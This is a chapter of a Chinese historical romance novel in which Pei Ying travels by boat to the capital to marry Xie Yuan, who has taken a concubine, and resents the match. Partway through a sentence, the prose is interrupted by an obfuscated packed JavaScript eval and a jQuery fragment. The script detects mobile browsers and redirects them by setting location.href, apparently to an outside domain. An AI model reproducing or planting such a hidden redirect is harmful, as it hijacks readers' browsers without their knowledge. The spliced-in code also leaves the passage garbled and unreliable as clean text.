东宁朝,宁穆帝兴和六年。
春三月,柳明花媚,裴瑛由二哥裴宣率队护送,乘坐漾水彩舟从北司州归来都城建康待嫁出阁。
漾水彩舟乃是司州裴氏费时半年为裴瑛特地打造的婚嫁船只,样式效仿微型楼船,桂楫兰桡,船舷女墙及腰,又于船身甲板之上起三层富丽气派的楼阁,船头雕刻有裴氏族徽及篆体桃夭小字,周围饰以栩栩如生的凤凰于飞图案,船身楼阁皆雕梁画栋,精美绝伦,船尾镶嵌着如浑圆之月的白玉宝石,流光四溢。
晨曦和煦,画楫扬帆,两岸青山如黛,波光粼粼的江面上彩舟银翼浮动着点点红霞,如星鹭掠鸿,朝着都城的方向逶迤前行。
彩舟二层明雅生香的豪阔舱房内,裴瑛与兄长裴宣每日例行的棋局对弈已近尾声,没有意外地,裴宣如常落败。
他知晓自家六妹在弈棋一道已得祖父真传,心中并不感挫败,只是看到裴瑛眉间并无多少赢棋的喜悦,反而眉心堆着许多忧愁,裴宣心知为何,便顺势出声宽解她:“六妹棋力高超,等迟些时候见到临羡那个混账,二哥支持你去杀他个片甲不留。”
裴瑛闻言眸色转暗,继而低头将棋子一粒粒拾回棋盒中,“二哥都说他是个混账了,谁又稀罕再理会他?”
裴宣倾身向前,轻轻扣着棋盘戏谑笑问:“临羡可跟我说过,待你回建康后要好好跟你负荆请罪,六妹真就不打算理他了?”
裴瑛勾唇冷笑:“谢临羡这人可真有意思,他当初那般荒唐行事时可曾想过他还有个在远方为父守孝的未婚妻子?如今事情过去,他倒又想浪子回头,开始公子端方起来了?”
裴宣一脸讪讪:“二哥知道,此事着实是临羡不该,父亲和几位哥哥都已经替你狠狠教训过他,六妹莫要再因这事动肝火。”
“那又如何?该发生的都已经发生,他要来赔罪我就该原谅吗?他溺在温柔乡的时候可曾有顾及我?”
见裴瑛面容冷冽,裴宣知晓她并非一时气话,不住扶额,但言语间还得为二人转圜,“依二哥看来,临羡不过是图一时意气,如今六妹来到他跟前,他定然不敢再这般恣意行事。”
听他处处维护谢渊,裴瑛扔过去一枚棋子砸他胸前,“二哥你到底还是不是裴家人?如何一味地帮他说话?”
裴宣摸了摸鼻子,心里头也不禁咒骂了谢渊一回,“二哥当然是向着六妹你,只是如今距你和临羡的婚期只有两月时间,我只能寄希望你们两个能安好如初。”
裴瑛起身走到窗前,看着江上粼粼波光,语带讥诮:“二哥,是不是在你们男子看来,谢临羡与旁人暗通款曲并纳其为妾实属是一件风流韵事,并不能算什么有违道义之举?”
裴宣苦笑:“二哥又不是不知道你的性子,如何会作这般想?二哥明白,临羡此举,无异于在六妹你心间捅刀子。”
裴瑛神色凄然:“可你们就是这样认为的,无论是大伯父信中所言,还是二哥你这半个多月来话里话外都在为谢临羡说好话卖乖,那意思不就是在说他并无大错,并不值得我为此大动干戈。”
看她眸光莹莹,裴宣明白自家六妹这是当真伤心痛苦。
他走过去同裴瑛并肩而立,柔声安慰她,“二哥知道你这几月来心中甚为委屈,总忧愁不安,但请妹妹放心,谢临羡这般慢待你,此次归家后裴家定会为你加倍讨回来,断不叫你再受半分委屈。”
裴瑛转过头来定定望向裴宣:“二哥觉得,妹妹我如何才能不委屈?”
裴宣语塞,他生来便有一颗七窍玲珑心,对于裴瑛所思为何他心如明镜。但偏偏她不愿嫁给谢渊的诉求,他无法替裴氏一族应允她。
“六妹对谢家有任何要求,这些时日都可以悉数提出来,二哥都可以帮你达成,但你和临羡的这桩婚事,事关裴谢两族,并非只你们二人之间的事,退亲一事两家绝不会同意。”
裴瑛被气笑:“你们就会拿这个来压我。”
“但二哥说的是事实。”
别看裴宣平日嬉皮笑脸,但谈及正事却丝毫不含糊,作为裴瑛的兄长,他并非不恼恨谢渊的所作所为,但对他来说,裴谢两姓联姻,其间牵涉两族利益筹谋若干,并不好因着个人喜怒爱憎而随意改弦更张。
望着滔滔江水,裴瑛沉默了下来。
是,她是裴家女,嫁为谢家妇本是结两姓之好,只要她嫁过去,裴谢两家之间定会相互扶持,同气连枝。
她不是不明白此间道理,只是一想到她未来夫君是个风流多情的,她便感到有不平意在蚀骨噬心。
她犹记得,去岁冬雪皑皑那一日,她正好收到建康来信,大伯父在信中如实告诉她谢渊的荒唐行径以及谢家伯母的殷殷恳切之心。
她惊悸心伤之余,只感心寒齿冷。一小半因谢临羡,但更多的是因自己的惶惶处境。
她早就明白,她会如同裴家所有的儿女一样,既然生来锦衣玉食,知书识礼,便要承担家族之责。
过去的那些年,她不是没有憧憬过成为谢家四郎的妻子,谢家伯父清正雅致,对她和蔼可亲,谢家伯母也一早就将她当做自己的半个女儿来疼惜,一如母亲恩慈。
她并非没有期盼过,但那场大雪骤然飘落下来,一夕间将她和谢家四郎近十年的儿时情谊全部倾覆殆尽。
谢渊那样轩然霞举的世家公子,在外人看来定是极好的如意郎君。可经过那事之后,裴瑛便已明白,谢渊着实风流薄幸,实非良人。
她不想嫁给谢渊。
但从踏上归途那一刻裴瑛便深知,她成为谢家妇不过是迟早之事。若她不愿嫁,欲要同谢渊退亲,无异于痴人说梦。
江风清冷,轻易间便吹散掉裴瑛的妄念。
她好似只能将万千苦涩埋进心底,昂头去迎接属于她的命运。
见裴瑛心绪渐趋平静,裴宣方才又开口:“两个时辰后就要抵达建康渡口,我这就让侍女进来为你洗漱更衣。”
裴瑛已敛了情绪,“好。”
*
快晌午时分,彩舟桃夭号准时抵达西州渡口。
锦绣闺阁内,侍女已为裴瑛描眉涂脂,挽髻簪钗完毕,邹嬷嬷又吩咐侍女绿竹和榆芝为她换上了一套很是清丽典雅的缕金挑线玉兰色拖地衫裙,琉璃铜镜里的女子骨玉冰肌,鲜妍昳丽的容貌之下却又倍显柔婉端庄。
不多时,裴瑛便戴上了帷帽,在二哥裴宣和嬷嬷侍女的陪伴下出得舟上闺阁,玉步款款下了舷梯,立于甲板之上。
江风吹拂而过,裴瑛耳畔垂下的珠坠也微微晃动,秀丽裙裳逶迤堆叠如云浪,让她端的是身姿窈窕,清婉如许。
裴宣看到渡口前方负手而立的中年男人,小声跟妹妹开口:“没想到谢伯父竟也特意前来相迎。”
裴瑛循声抬头朝岸边望去,透过帷幕下的朦胧轻纱,入目便是惊涛拍岸白雪浮沉之上端然而立的几名男子。
除了大伯父裴元之外,便是一如苍松挺拔的中年男人,一如山水娴雅清润的乌衣公子。
她认得出,那便是谢氏家主谢航和她的未婚夫君谢渊。
毕竟若论名士风流,累世
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221180|181525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
簪缨谢氏无出其右。
仿佛感受到她顾盼的目光,对岸那抹瑶阶玉树恰好也朝她凝望了过来。
四目相顾,她瞧见对岸的谢渊面上沁着温润笑意。
可她内心却萧索如秋霜。
见船头的艞板已放下来连接到岸上,裴宣上前扶了妹妹裴瑛的胳膊,同她并肩上了岸。
和大伯父以及谢航行了晚辈礼并稍作寒暄后,裴瑛便退到一旁垂眸静立。
感受到有一抹目光在透过薄纱凝望她,裴瑛不用看也知晓那是谁。
她甚至都不想再理会他。
谢渊见她并无亲近自己之意,心想自己去亲近她便是。
“六妹妹,一路辛苦。”他迎上前雀跃唤她。
四年过去,明媚娇俏的未婚妻子如今出落得是愈发袅娜娉婷,清莹如玉。
不愧为裴家女娘,故去北征将军之女,东宁两朝肱骨裴昂之孙女,和他谢氏门楣尚算得上相配。
她小时候就生得明媚娇俏,想必轻纱之下,定然也是云容月貌。
谢渊心间生出欢喜。
待裴瑛行至他跟前,谢渊欢欣雀跃地唤她:“六妹妹,一路辛苦。”
裴瑛幽幽仰头,瞧他目不转睛地凝睇着自己,那双桃花眸子泛了红似被水洗着,令他显得愈加温润深情起来。
帷帽下的裴瑛心思复杂难言,面上却皱眉,“谢四郎,别来无恙。”
谢渊微微发恼,“六妹妹你如何要与我这般生疏?连叫一声四哥都不愿意。”
裴瑛沉默以对。
谢渊也沉默,过了许久,他才又问向裴瑛:“六妹妹有意冷待我,可是因那件事在生四哥的气?”
裴瑛反问他:“谢临羡,你觉得呢?”
谢渊面有愧色,“是四哥未有顾及六妹妹,你生气是应该的。”
裴瑛心间微微涩然,她与谢渊有少时情谊在,他这般不顾及她,说不难过是假的。
谢渊见眼前的女子一派冷漠萧清,他心下忽然没由来的发慌。
“六妹妹,过去是四哥不好,慢待了裴家,更轻待了你,令你伤心失望,四哥在此跟你赔个不是,还请六妹妹原谅则个,往后四哥再也不教你伤心就是。”
裴瑛杏眸低垂,声如冷玉,“谢临羡,逝川之水不可倒转,我不知要如何原谅释怀。”
隔着薄纱,感受到裴瑛周身漾起幽微冷意,心思明灭间,谢渊忽而并指起誓,姿态端方诚挚:“只要瑛娘愿意原谅我,我谢临羡愿意用一辈子的时间向你证明,可好?”
裴瑛倏而抬头,凝看向近在咫尺的谢渊。
他此刻眉目含情,温润的桃眸里蕴含着期盼,裴瑛瞧着他这般模样,短短时刻里,思绪弥漫。
世家儿女的婚姻大多因利益而结合,而她作为裴氏女,从小锦衣玉食,知书识礼,得家族恩泽庇佑,如今长大成人,总该以裴氏利益为先。
何况,谢家乃高门望族,谢家伯父伯母通情达理,她嫁入谢家,算得上沐浴荣华。她若主动退掉谢氏婚约,以谢氏为东宁望族之首,她再要同其他高门望族议婚,也并非易事。
而且祖父所说不错,谢渊这个人,一旦他展现出拳拳真心,很容易便让人自动坠入迷梦中。
她不信谢渊的承诺誓言,但裴瑛有那么一刹那间的动摇,她其实深知自己的挣扎是徒劳。
只是她实在难以启齿。
就在她鼓起勇气,天人交战地思索着是否要回应谢渊时,码头另一侧的西边空地上,忽然间马蹄声震,尘土飞扬。